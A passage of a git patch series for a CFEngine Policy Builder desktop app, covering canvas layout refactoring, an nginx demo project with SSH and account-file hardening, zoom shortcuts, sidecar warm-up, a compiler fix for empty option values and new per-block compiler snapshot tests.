b/src/renderer/src/components/properties/dataBinding.tsx @@ -28,7 +28,8 @@ export function BindToDataLink({ From 2e0dd09686d3e4d59b32242b553e742e5377ad6f Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:26:39 +0300 Subject: [PATCH 021/141] Demo project opens already tidied Tidy up's layout moved from ProjectView into canvas/tidy.ts, shared by the canvas (measured sizes) and the demo, which runs it on each file once it's built (estimated sizes: nothing is rendered yet). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/canvas/tidy.ts | 33 +++++++++++++++++++++++ src/renderer/src/demo/nginxDemoProject.ts | 17 +++++++++--- src/renderer/src/pages/ProjectView.tsx | 22 ++++----------- 3 files changed, 52 insertions(+), 20 deletions(-) create mode 100644 src/renderer/src/canvas/tidy.ts diff --git a/src/renderer/src/canvas/tidy.ts b/src/renderer/src/canvas/tidy.ts new file mode 100644 index 0000000..ed412f8 --- /dev/null +++ b/src/renderer/src/canvas/tidy.ts @@ -0,0 +1,33 @@ +import { blockDescriptorsById } from '../blocks/loadBlocks'; +import type { BlockInstance } from '../store/canvasSlice/types'; +import type { BlockEdge } from '../store/edgesSlice/types'; +import type { BlockGroup } from '../store/groupsSlice/types'; +import { dataFootprint } from './dataChains'; +import { executionOrder } from './executionOrder'; +import { GATE_LIFT, GATE_SPACE } from './gates'; +import { throughGroups } from './groupEdges'; +import { type Position, tidyLayout } from './layout'; + +/** + * "Tidy up" for one file's canvas: its blocks' new positions, with room for + * each block's gate and data chains. `sizeOf` / `nodeHeight` are the measured + * sizes on the canvas, or estimates where nothing is rendered yet (the demo). + */ +export function tidyPositions( + instances: BlockInstance[], + edges: BlockEdge[], + groups: BlockGroup[], + fileId: string | null, + sizeOf: (instance: BlockInstance) => { height: number; width: number }, + nodeHeight: (nodeId: string) => number | undefined +): Record { + const order = executionOrder(instances, edges, blockDescriptorsById); + const footprintOf = (instance: BlockInstance) => { + const chains = fileId ? dataFootprint(instance, fileId, nodeHeight, blockDescriptorsById) : { height: 0, left: 0 }; + // With chains beside the block, its gate rises above them (see deriveGates). + const lifted = Boolean(instance.condition) && chains.left > 0; + return { above: lifted ? GATE_LIFT : 0, height: chains.height, left: Math.max(chains.left, instance.condition ? GATE_SPACE : 0) }; + }; + const groupOf = (instance: BlockInstance) => (groups.some(group => group.id === instance.groupId) ? instance.groupId : undefined); + return tidyLayout(instances, throughGroups(edges, instances, blockDescriptorsById), order, sizeOf, footprintOf, blockDescriptorsById, groupOf); +} diff --git a/src/renderer/src/demo/nginxDemoProject.ts b/src/renderer/src/demo/nginxDemoProject.ts index b5660d1..7258ec3 100644 --- a/src/renderer/src/demo/nginxDemoProject.ts +++ b/src/renderer/src/demo/nginxDemoProject.ts @@ -1,9 +1,10 @@ // Builds the "Provision and harden an nginx web server" demo project import { newDefinitionEntry } from '../blocks/definitionEntries'; import { blockDescriptorsById } from '../blocks/loadBlocks'; -import { estimateNodeHeight } from '../canvas/layout'; -import type { AppDispatch } from '../store'; -import { blockAdded } from '../store/canvasSlice'; +import { NODE_WIDTH, estimateNodeHeight } from '../canvas/layout'; +import { tidyPositions } from '../canvas/tidy'; +import type { AppDispatch, RootState } from '../store'; +import { blockAdded, blocksMoved } from '../store/canvasSlice'; import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; import { edgeAdded } from '../store/edgesSlice'; import type { BlockOutcome } from '../store/edgesSlice/types'; @@ -255,5 +256,15 @@ export function createNginxDemoProject(dispatch: AppDispatch): void { arrow(install, keepRunning, ['kept', 'repaired']); arrow(install, landingPage, ['kept', 'repaired']); arrow(renderTemplate, manageService, ['repaired']); + // Opens tidied, as Tidy up lays it out (with estimated sizes: nothing is rendered yet). + dispatch((innerDispatch: AppDispatch, getState: () => RootState) => { + const { canvas, edges } = getState(); + const sizeOf = (instance: BlockInstance) => ({ width: NODE_WIDTH, height: estimateNodeHeight(instance, blockDescriptorsById.get(instance.blockId)) }); + for (const fileId of [commonFileId, webserverFileId]) { + const instances = canvas.filter(block => block.fileId === fileId); + const fileEdges = edges.filter(edge => edge.fileId === fileId); + innerDispatch(blocksMoved({ positions: tidyPositions(instances, fileEdges, [], fileId, sizeOf, () => undefined) })); + } + }); dispatch(historyCleared()); } diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 23d7db7..740b93f 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -11,12 +11,12 @@ import { blockDescriptorsById } from '../blocks/loadBlocks'; import { PROMISE_TYPE_ICONS } from '../blocks/promiseTypeIcons'; import { primaryPromiseType, resolveBlockShape } from '../blocks/resolveBlockShape'; import type { BlockDescriptor } from '../blocks/types'; -import { type ChainOwner, dataFootprint } from '../canvas/dataChains'; +import type { ChainOwner } from '../canvas/dataChains'; import { executionOrder } from '../canvas/executionOrder'; import { describeFileCondition } from '../canvas/fileCondition'; -import { GATE_EDGE_PREFIX, GATE_LIFT, GATE_SPACE, type Gate, deriveGates, gateKey } from '../canvas/gates'; -import { throughGroups } from '../canvas/groupEdges'; -import { GRID_SIZE, NODE_WIDTH, type Position, estimateNodeHeight, nextStackPosition, tidyLayout } from '../canvas/layout'; +import { GATE_EDGE_PREFIX, type Gate, deriveGates, gateKey } from '../canvas/gates'; +import { GRID_SIZE, NODE_WIDTH, type Position, estimateNodeHeight, nextStackPosition } from '../canvas/layout'; +import { tidyPositions } from '../canvas/tidy'; import { BlockGroupRow } from '../components/BlockGroupRow'; import { BlockPalette } from '../components/BlockPalette'; import { CANVAS_DROPPABLE_ID, type CanvasEdge, type CanvasNode, FlowCanvas, type NodeSizes, type ZoomControls } from '../components/FlowCanvas'; @@ -579,20 +579,8 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi }; const handleTidy = () => { - const order = executionOrder(instances, edges, blockDescriptorsById); - const footprintOf = (instance: BlockInstance) => { - const chains = currentFileId ? dataFootprint(instance, currentFileId, nodeId => measured[nodeId]?.height, blockDescriptorsById) : { height: 0, left: 0 }; - // With chains beside the block, its gate rises above them (see deriveGates). - const lifted = Boolean(instance.condition) && chains.left > 0; - return { above: lifted ? GATE_LIFT : 0, height: chains.height, left: Math.max(chains.left, instance.condition ? GATE_SPACE : 0) }; - }; asOneStep(() => { - const groupOf = (instance: BlockInstance) => (groups.some(group => group.id === instance.groupId) ? instance.groupId : undefined); - dispatch( - blocksMoved({ - positions: tidyLayout(instances, throughGroups(edges, instances, blockDescriptorsById), order, sizeOf, footprintOf, blockDescriptorsById, groupOf) - }) - ); + dispatch(blocksMoved({ positions: tidyPositions(instances, edges, groups, currentFileId, sizeOf, nodeId => measured[nodeId]?.height) })); // Gates and data-chain nodes go back to their default spots beside their blocks. if (currentFileId) dispatch(derivedNodePositionsClearedForFile({ fileId: currentFileId })); // Frames go back to hugging their (re-laid-out) blocks. From de3a65e288112ca56efccacd8b1cf0525c52c226 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:28:14 +0300 Subject: [PATCH 022/141] Demo project gained a web root, log pruning and a grouped Security file Webserver now creates /var/www/html before publishing the landing page and prunes old nginx logs. The new Security file hardens sshd where it's installed (restarting it on change), locks down and watches the account files, and adds a login banner, in two groups. Verified on 3.27.1. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/demo/nginxDemoProject.ts | 107 ++++++++++++++++++- src/renderer/src/project/cfbsProject.test.ts | 7 +- 2 files changed, 106 insertions(+), 8 deletions(-) diff --git a/src/renderer/src/demo/nginxDemoProject.ts b/src/renderer/src/demo/nginxDemoProject.ts index 7258ec3..8d4130d 100644 --- a/src/renderer/src/demo/nginxDemoProject.ts +++ b/src/renderer/src/demo/nginxDemoProject.ts @@ -8,7 +8,8 @@ import { blockAdded, blocksMoved } from '../store/canvasSlice'; import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; import { edgeAdded } from '../store/edgesSlice'; import type { BlockOutcome } from '../store/edgesSlice/types'; -import { fileAdded, projectFilesInitialized } from '../store/filesSlice'; +import { fileAdded, fileSelected, projectFilesInitialized } from '../store/filesSlice'; +import { groupCreated } from '../store/groupsSlice'; import { historyCleared } from '../store/history'; import { projectCreated } from '../store/projectSlice'; @@ -170,6 +171,11 @@ function buildLandingPageBlock(): DemoBlock { }; } +// The landing page's folder, made explicitly: a file's missing parents would be created 700. +function buildWebRootBlock(): DemoBlock { + return { blockId: 'create-directory', label: 'Create web root', params: { path: '/var/www/html', mode: '755', owner: 'root', group: 'root' } }; +} + function buildWebserverBlocksAfterTemplate(): DemoBlock[] { return [ { @@ -187,6 +193,12 @@ function buildWebserverBlocksAfterTemplate(): DemoBlock[] { group: 'root' } }, + // A safety net behind logrotate: anything in the log folder untouched for a month. + { + blockId: 'clean-up-old-files', + label: 'Prune old nginx logs', + params: { directory: '/var/log/nginx', days: '30', depth: 'inf' } + }, { blockId: 'manage-users', label: 'Create deploy user', @@ -212,6 +224,48 @@ function buildManageServiceBlock(): DemoBlock { return { blockId: 'manage-service', label: 'Restart nginx on config change', params: { service_name: 'nginx', action: 'restart' } }; } +// Security: SSH hardening (only where an SSH server is installed), account file +// permissions and change detection, and a login banner. +function buildSecurityBlocks() { + const sshdPresent = definitionBlock('define-class', 'SSH server present', [ + { valueSourceId: 'check-file-exists', params: { class_name: 'sshd_installed', path: '/etc/ssh/sshd_config' } } + ]); + const hardenSsh: DemoBlock = { + blockId: 'set-config-values', + label: 'Harden SSH', + params: { path: '/etc/ssh/sshd_config', format: 'space', settings: 'PermitRootLogin no\nMaxAuthTries 3\nX11Forwarding no' }, + condition: { mode: 'if', kind: 'class', className: 'sshd_installed' } + }; + // "ssh" on Debian/Ubuntu (RHEL calls it sshd). + const restartSsh: DemoBlock = { blockId: 'manage-service', label: 'Restart SSH on config change', params: { service_name: 'ssh', action: 'restart' } }; + const accountFiles: DemoBlock = { + blockId: 'set-permissions', + label: 'Lock down account files', + params: { path: '/etc/passwd\n/etc/group', mode: '644', owner: 'root', group: 'root' } + }; + const passwordHashes: DemoBlock = { + blockId: 'set-permissions', + label: 'Protect password hashes', + params: { path: '/etc/shadow', mode: '640', owner: 'root', group: 'shadow' } + }; + const watchAccounts: DemoBlock = { + blockId: 'watch-file', + label: 'Watch account files', + params: { path: '/etc/passwd\n/etc/group\n/etc/shadow' } + }; + const reportAccounts: DemoBlock = { + blockId: 'report-message', + label: 'Report account changes', + params: { message: 'Local accounts changed on $(sys.fqhost)' } + }; + const banner: DemoBlock = { + blockId: 'ensure-lines', + label: 'Login banner', + params: { path: '/etc/issue', lines: 'Authorized access only. Activity may be monitored.', create: 'true' } + }; + return { sshdPresent, hardenSsh, restartSsh, accountFiles, passwordHashes, watchAccounts, reportAccounts, banner }; +} + const STACK_GAP = 60; // generous: labels can wrap past the height estimate // Top-left corners for a top-to-bottom column, spaced by each card's @@ -246,7 +300,8 @@ export function createNginxDemoProject(dispatch: AppDispatch): void { const manageService = buildManageServiceBlock(); const keepRunning = buildKeepRunningBlock(); const landingPage = buildLandingPageBlock(); - const column = [install, ...beforeTemplate, renderTemplate, manageService, keepRunning, landingPage, ...buildWebserverBlocksAfterTemplate()]; + const webRoot = buildWebRootBlock(); + const column = [install, ...beforeTemplate, renderTemplate, manageService, keepRunning, webRoot, landingPage, ...buildWebserverBlocksAfterTemplate()]; const positions = stackPositions(column); const ids = column.map((block, index) => dispatch(blockAdded({ ...block, fileId: webserverFileId, position: positions[index] })).payload.instanceId); const idOf = (block: DemoBlock) => ids[column.indexOf(block)]; @@ -256,15 +311,57 @@ export function createNginxDemoProject(dispatch: AppDispatch): void { arrow(install, keepRunning, ['kept', 'repaired']); arrow(install, landingPage, ['kept', 'repaired']); arrow(renderTemplate, manageService, ['repaired']); + arrow(webRoot, landingPage, ['kept', 'repaired']); + + const securityFileId = dispatch(fileAdded('Security')).payload.id; + const security = buildSecurityBlocks(); + const securityColumn = [ + security.sshdPresent, + security.hardenSsh, + security.restartSsh, + security.accountFiles, + security.passwordHashes, + security.watchAccounts, + security.reportAccounts, + security.banner + ]; + const securityPositions = stackPositions(securityColumn); + const securityIds = securityColumn.map( + (block, index) => dispatch(blockAdded({ ...block, fileId: securityFileId, position: securityPositions[index] })).payload.instanceId + ); + const securityArrow = (source: DemoBlock, target: DemoBlock, outcomes: BlockOutcome[]) => + dispatch( + edgeAdded({ fileId: securityFileId, source: securityIds[securityColumn.indexOf(source)], target: securityIds[securityColumn.indexOf(target)], outcomes }) + ); + securityArrow(security.hardenSsh, security.restartSsh, ['repaired']); + securityArrow(security.watchAccounts, security.reportAccounts, ['repaired']); + // Each group compiles into a bundle of its own; both arrows stay inside their group. + const securityGroup = (name: string, color: 'info' | 'warning', blocks: DemoBlock[]) => + dispatch(groupCreated({ fileId: securityFileId, name, color, instanceIds: blocks.map(block => securityIds[securityColumn.indexOf(block)]) })); + securityGroup('SSH hardening', 'info', [security.sshdPresent, security.hardenSsh, security.restartSsh]); + securityGroup('Account protection', 'warning', [security.accountFiles, security.passwordHashes, security.watchAccounts, security.reportAccounts]); // Opens tidied, as Tidy up lays it out (with estimated sizes: nothing is rendered yet). dispatch((innerDispatch: AppDispatch, getState: () => RootState) => { - const { canvas, edges } = getState(); + const { canvas, edges, groups } = getState(); const sizeOf = (instance: BlockInstance) => ({ width: NODE_WIDTH, height: estimateNodeHeight(instance, blockDescriptorsById.get(instance.blockId)) }); - for (const fileId of [commonFileId, webserverFileId]) { + for (const fileId of [commonFileId, webserverFileId, securityFileId]) { const instances = canvas.filter(block => block.fileId === fileId); const fileEdges = edges.filter(edge => edge.fileId === fileId); - innerDispatch(blocksMoved({ positions: tidyPositions(instances, fileEdges, [], fileId, sizeOf, () => undefined) })); + innerDispatch( + blocksMoved({ + positions: tidyPositions( + instances, + fileEdges, + groups.filter(group => group.fileId === fileId), + fileId, + sizeOf, + () => undefined + ) + }) + ); } }); + // Adding a file opens it; the demo opens on the web server. + dispatch(fileSelected({ fileId: webserverFileId })); dispatch(historyCleared()); } diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index f0511bb..0041d3d 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -47,7 +47,7 @@ describe('cfbsProject', () => { const file = state.files.files.find(item => item.id === fileId)!; // Exactly what `cfbs add` writes, but for the bundles step; no builder data on modules. - expect(modules.map(module => module.name)).toEqual(['./common.cf', './webserver.cf', './services/']); + expect(modules.map(module => module.name)).toEqual(['./common.cf', './webserver.cf', './security.cf', './services/']); expect(modules[1]).toEqual({ name: './webserver.cf', description: 'Local policy file added using cfbs command line', @@ -55,7 +55,7 @@ describe('cfbsProject', () => { added_by: 'cfbs add', steps: ['copy ./webserver.cf services/cfbs/webserver.cf', 'policy_files services/cfbs/webserver.cf', 'bundles webserver'] }); - expect(modules[2]).toEqual({ + expect(modules[3]).toEqual({ name: './services/', description: 'Local subdirectory added using cfbs command line', tags: ['local'], @@ -133,9 +133,10 @@ describe('cfbsProject', () => { steps: [ 'copy ./common.cf services/cfbs/web-demo/common.cf', 'copy ./webserver.cf services/cfbs/web-demo/webserver.cf', + 'copy ./security.cf services/cfbs/web-demo/security.cf', 'copy ./services/ services/cfbs/web-demo/services/', 'policy_files services/cfbs/web-demo/', - `bundles webserver ${state.files.files.find(file => file.name === 'Cron jobs')!.bundle}` + `bundles webserver security ${state.files.files.find(file => file.name === 'Cron jobs')!.bundle}` ] }); }); From 5c1095dbd32669b23a645d5c1b573d8b40b1de94 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:29:32 +0300 Subject: [PATCH 023/141] Ctrl/Cmd +/-/0 now zoom the canvas instead of the whole window The View menu no longer has page zoom, and a zoom Chromium remembered from earlier launches is reset on load. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/index.ts | 9 ++++++++- .../src/pages/useKeyboardShortcuts.ts | 19 ++++++++++++++----- 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/src/main/index.ts b/src/main/index.ts index 3a9a987..514a274 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -110,7 +110,11 @@ function buildApplicationMenu(mainWindow: BrowserWindow, recents: RecentProject[ ] }, { role: 'editMenu' }, - { role: 'viewMenu' }, + // The default View menu minus page zoom: Ctrl/Cmd +/-/0 zoom the canvas instead (renderer). + { + label: 'View', + submenu: [{ role: 'reload' }, { role: 'forceReload' }, { role: 'toggleDevTools' }, { type: 'separator' }, { role: 'togglefullscreen' }] + }, ...(isMac ? [{ role: 'windowMenu' as const }] : []) ]; @@ -162,6 +166,9 @@ function createWindow(): void { mainWindow.show(); }); + // Chromium remembers a page zoom per origin across launches; the app has none any more. + mainWindow.webContents.on('did-finish-load', () => mainWindow.webContents.setZoomFactor(1)); + // Open external links in the user's browser, never in-app. mainWindow.webContents.setWindowOpenHandler(details => { openExternalIfSafe(details.url); diff --git a/src/renderer/src/pages/useKeyboardShortcuts.ts b/src/renderer/src/pages/useKeyboardShortcuts.ts index 95bf699..c631e57 100644 --- a/src/renderer/src/pages/useKeyboardShortcuts.ts +++ b/src/renderer/src/pages/useKeyboardShortcuts.ts @@ -5,7 +5,7 @@ import type { ZoomControls } from '../components/FlowCanvas'; // What each shortcut does. The command handlers return whether they acted, // so a key that did nothing keeps its native behaviour. export interface ShortcutHandlers { - // Bare zoom keys only apply while the canvas tab is showing. + // Zoom keys only apply while the canvas tab is showing. canvasActive: boolean; onCopy: () => boolean; onCut: () => boolean; @@ -26,10 +26,16 @@ function isEditableTarget(target: Element | null): boolean { return (target as HTMLElement).isContentEditable; } -// n8n-style bare zoom keys — Ctrl/Cmd +/-/0 already belong to the View menu's page zoom. -function handleZoomKey(event: KeyboardEvent, zoom: ZoomControls | null) { +// n8n-style bare zoom keys, plus Ctrl/Cmd +/-/0 (the app has no page zoom: they zoom the canvas). +function handleZoomKey(event: KeyboardEvent, zoom: ZoomControls | null, withCommand = false) { if (!zoom) return; - const zoomActions: Record void> = { '+': zoom.zoomIn, '=': zoom.zoomIn, '-': zoom.zoomOut, '0': zoom.reset, '1': zoom.fit }; + const zoomActions: Record void> = { + '+': zoom.zoomIn, + '=': zoom.zoomIn, + '-': zoom.zoomOut, + '0': zoom.reset, + ...(withCommand ? {} : { '1': zoom.fit }) + }; const zoomAction = zoomActions[event.key]; if (!zoomAction) return; event.preventDefault(); @@ -72,7 +78,10 @@ export function useKeyboardShortcuts(handlers: ShortcutHandlers) { } // Never hijack typing, or native copy/paste of actual text (TextFields, CodeMirror…). if (isEditableTarget(document.activeElement)) return; - if (event.ctrlKey || event.metaKey) return handleCommandKey(event, current); + if (event.ctrlKey || event.metaKey) { + if (current.canvasActive && !event.altKey) handleZoomKey(event, current.zoomControlsRef.current, true); + return event.defaultPrevented ? undefined : handleCommandKey(event, current); + } if (event.altKey) return; if (event.key === 'Delete' || event.key === 'Backspace') { if (current.onDelete()) event.preventDefault(); From 0dd7c209698e61b7727ac667061e9c4c65d245e7 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:30:50 +0300 Subject: [PATCH 024/141] File explorer rows are more compact and its area is larger by default The tree item's own padding doubled the rows' 6px; the explorer now gets about 42% of the sidebar (was 38%). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/PolicyFileExplorer.tsx | 8 +++++++- src/renderer/src/hooks/useLayoutSettings.ts | 2 +- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/src/renderer/src/components/PolicyFileExplorer.tsx b/src/renderer/src/components/PolicyFileExplorer.tsx index f7fe91f..534b743 100644 --- a/src/renderer/src/components/PolicyFileExplorer.tsx +++ b/src/renderer/src/components/PolicyFileExplorer.tsx @@ -548,7 +548,13 @@ export function PolicyFileExplorer({ - setExpandedItems(itemIds)} selectedItems={currentFileId}> + setExpandedItems(itemIds)} + selectedItems={currentFileId} + // The rows carry their own 6px; the tree item's padding would double it. + sx={{ '& .MuiTreeItem-content': { py: 0 } }} + > {renderChildren(null, tree)} diff --git a/src/renderer/src/hooks/useLayoutSettings.ts b/src/renderer/src/hooks/useLayoutSettings.ts index 64bf5a4..6debbdc 100644 --- a/src/renderer/src/hooks/useLayoutSettings.ts +++ b/src/renderer/src/hooks/useLayoutSettings.ts @@ -20,7 +20,7 @@ export const PALETTE_HEIGHT_MAX = 0.85; // Properties needs the room more than the canvas does. const DEFAULT_LAYOUT: LayoutSettings = { leftSidebarFraction: 0.2, - paletteHeightFraction: 0.62, + paletteHeightFraction: 0.58, rightSidebarFraction: 0.32 }; From 976ba746560e48d926c677b74df16d7f9a012be2 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:32:10 +0300 Subject: [PATCH 025/141] New Project asks for the masterfiles version before how to store it Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/dialogs/NewProjectDialog.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/renderer/src/components/dialogs/NewProjectDialog.tsx b/src/renderer/src/components/dialogs/NewProjectDialog.tsx index 484ef3f..ad02840 100644 --- a/src/renderer/src/components/dialogs/NewProjectDialog.tsx +++ b/src/renderer/src/components/dialogs/NewProjectDialog.tsx @@ -277,7 +277,6 @@ export function NewProjectDialog({ {persistent && ( <> - Which version of masterfiles would you like to use? @@ -291,6 +290,7 @@ export function NewProjectDialog({ } label="Master branch" /> + setGit(event.target.checked)} disabled={submitting} />} From 7695c1049e14391b293c24270ce9358d26d2a9e4 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:33:28 +0300 Subject: [PATCH 026/141] The Python sidecar warms up in the background at launch The first run of a new sidecar build takes 10-15 s while macOS checks its binaries; that now happens at startup instead of on the first save or Generated Policy view (0.4 s afterwards). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/backend.ts | 12 ++++++++++++ src/main/index.ts | 3 ++- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/src/main/backend.ts b/src/main/backend.ts index b1ede54..361c376 100644 --- a/src/main/backend.ts +++ b/src/main/backend.ts @@ -166,6 +166,18 @@ export async function compilePolicy(project: unknown): Promise { } } +/** + * Runs the sidecar once with an empty project, in the background. The first run of a new + * build is slow (macOS checks the bundle's binaries, ~10 s): this takes it at launch, + * not on the first save or Generated Policy view. + */ +export function warmUpSidecar(): void { + const started = Date.now(); + compilePolicy({ files: [] }) + .then(() => console.log(`[backend] warm-up done in ${Date.now() - started} ms`)) + .catch((error: unknown) => console.warn('[backend] warm-up failed:', error instanceof Error ? error.message : error)); +} + /** * The masterfiles build entry cfbs writes for `version` ("3.27.1" or "master"), for turning a * module into a policy set. Needs the network, like New Project. diff --git a/src/main/index.ts b/src/main/index.ts index 514a274..b5a23f0 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -5,7 +5,7 @@ import { basename, join } from 'path'; import { pathToFileURL } from 'url'; import type { RecentProject } from '../preload/api'; -import { compilePolicy, formatPolicy } from './backend'; +import { compilePolicy, formatPolicy, warmUpSidecar } from './backend'; import { clearRecentProjects, getRecentProjects, onRecentsChanged, registerProjectHandlers } from './project'; const APP_TITLE = 'CFEngine Policy Builder'; @@ -164,6 +164,7 @@ function createWindow(): void { mainWindow.on('ready-to-show', () => { mainWindow.show(); + warmUpSidecar(); }); // Chromium remembers a page zoom per origin across launches; the app has none any more. From a87f3dc959626193f376f34e9083d5456fe1cfdb Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:42:36 +0300 Subject: [PATCH 027/141] Run Command's "Every agent run" no longer compiles to once a day An empty parameter value got the default filled in, so an option whose value is "" (run_interval's "Every agent run") could never be chosen. An empty value is now kept when it is one of the parameter's options. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_compiler.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 9830361..2d71349 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -210,7 +210,9 @@ def params_with_defaults(declared: list[dict], given: dict) -> dict[str, str]: params = {} for param in declared: value = given.get(param["name"]) - if value is None or value == "": + # Empty means "not set" — unless it's one of the options (Run Command's "Every agent run"). + empty_option = any(isinstance(o, dict) and o.get("value") == "" or o == "" for o in param.get("options", [])) + if value is None or (value == "" and not empty_option): value = param.get("default") # CFEngine booleans are "true"/"false"; Python's str() would give "True". params[param["name"]] = "" if value is None else str(value).lower() if isinstance(value, bool) else str(value) From 4d7a39e1c08e7d225488148194be7896a0319340 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 11:42:36 +0300 Subject: [PATCH 028/141] Added per-block compiler tests: generated input variants and snapshots Every action block is compiled with each option, each optional parameter empty and set, one value and a list, and quotes, backslashes, $(var) and regex text, and must pass cf-promises. tests/snapshots/ holds the reviewed output of every block, value source and decorator; regenerate with CFPB_UPDATE_SNAPSHOTS=1 after an intended change. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/tests/snapshots/call-method.cf | 4 + python/tests/snapshots/clean-up-old-files.cf | 7 + python/tests/snapshots/comment-lines.cf | 5 + python/tests/snapshots/copy-directory.cf | 10 + python/tests/snapshots/copy-file.cf | 6 + python/tests/snapshots/create-directory.cf | 9 + python/tests/snapshots/create-edit-file.cf | 9 + python/tests/snapshots/create-symlink.cf | 13 ++ python/tests/snapshots/cron-job.cf | 5 + python/tests/snapshots/decorators.cf | 187 ++++++++++++++++++ python/tests/snapshots/define-class.cf | 52 +++++ python/tests/snapshots/define-variable.cf | 45 +++++ python/tests/snapshots/ensure-lines.cf | 15 ++ python/tests/snapshots/install-package.cf | 4 + python/tests/snapshots/manage-service.cf | 29 +++ python/tests/snapshots/manage-users.cf | 14 ++ python/tests/snapshots/mount-storage.cf | 31 +++ python/tests/snapshots/remove-directory.cf | 7 + python/tests/snapshots/remove-file.cf | 6 + python/tests/snapshots/remove-lines.cf | 4 + python/tests/snapshots/remove-package.cf | 4 + python/tests/snapshots/render-template.cf | 18 ++ python/tests/snapshots/replace-text.cf | 5 + python/tests/snapshots/report-message.cf | 14 ++ python/tests/snapshots/rotate-log.cf | 8 + python/tests/snapshots/run-command.cf | 18 ++ python/tests/snapshots/set-config-values.cf | 23 +++ python/tests/snapshots/set-permissions.cf | 6 + python/tests/snapshots/signal-process.cf | 43 ++++ python/tests/snapshots/watch-file.cf | 7 + python/tests/test_compiler_block_snapshots.py | 152 ++++++++++++++ python/tests/test_compiler_block_variants.py | 86 ++++++++ 32 files changed, 846 insertions(+) create mode 100644 python/tests/snapshots/call-method.cf create mode 100644 python/tests/snapshots/clean-up-old-files.cf create mode 100644 python/tests/snapshots/comment-lines.cf create mode 100644 python/tests/snapshots/copy-directory.cf create mode 100644 python/tests/snapshots/copy-file.cf create mode 100644 python/tests/snapshots/create-directory.cf create mode 100644 python/tests/snapshots/create-edit-file.cf create mode 100644 python/tests/snapshots/create-symlink.cf create mode 100644 python/tests/snapshots/cron-job.cf create mode 100644 python/tests/snapshots/decorators.cf create mode 100644 python/tests/snapshots/define-class.cf create mode 100644 python/tests/snapshots/define-variable.cf create mode 100644 python/tests/snapshots/ensure-lines.cf create mode 100644 python/tests/snapshots/install-package.cf create mode 100644 python/tests/snapshots/manage-service.cf create mode 100644 python/tests/snapshots/manage-users.cf create mode 100644 python/tests/snapshots/mount-storage.cf create mode 100644 python/tests/snapshots/remove-directory.cf create mode 100644 python/tests/snapshots/remove-file.cf create mode 100644 python/tests/snapshots/remove-lines.cf create mode 100644 python/tests/snapshots/remove-package.cf create mode 100644 python/tests/snapshots/render-template.cf create mode 100644 python/tests/snapshots/replace-text.cf create mode 100644 python/tests/snapshots/report-message.cf create mode 100644 python/tests/snapshots/rotate-log.cf create mode 100644 python/tests/snapshots/run-command.cf create mode 100644 python/tests/snapshots/set-config-values.cf create mode 100644 python/tests/snapshots/set-permissions.cf create mode 100644 python/tests/snapshots/signal-process.cf create mode 100644 python/tests/snapshots/watch-file.cf create mode 100644 python/tests/test_compiler_block_snapshots.py create mode 100644 python/tests/test_compiler_block_variants.py diff --git a/python/tests/snapshots/call-method.cf b/python/tests/snapshots/call-method.cf new file mode 100644 index 0000000..386ea4f --- /dev/null +++ b/python/tests/snapshots/call-method.cf @@ -0,0 +1,4 @@ +### example + # Case 0 + methods: + "Run site checks" usebundle => site_checks; diff --git a/python/tests/snapshots/clean-up-old-files.cf b/python/tests/snapshots/clean-up-old-files.cf new file mode 100644 index 0000000..8613aa4 --- /dev/null +++ b/python/tests/snapshots/clean-up-old-files.cf @@ -0,0 +1,7 @@ +### example + # Case 0 + files: + "/var/tmp" + delete => tidy, + file_select => days_old("14"), + depth_search => recurse("inf"); diff --git a/python/tests/snapshots/comment-lines.cf b/python/tests/snapshots/comment-lines.cf new file mode 100644 index 0000000..95b8ce2 --- /dev/null +++ b/python/tests/snapshots/comment-lines.cf @@ -0,0 +1,5 @@ +### example + # Case 0 + files: + "/etc/nginx/nginx.conf" + edit_line => comment_lines_matching("listen 8080.*", "#"); diff --git a/python/tests/snapshots/copy-directory.cf 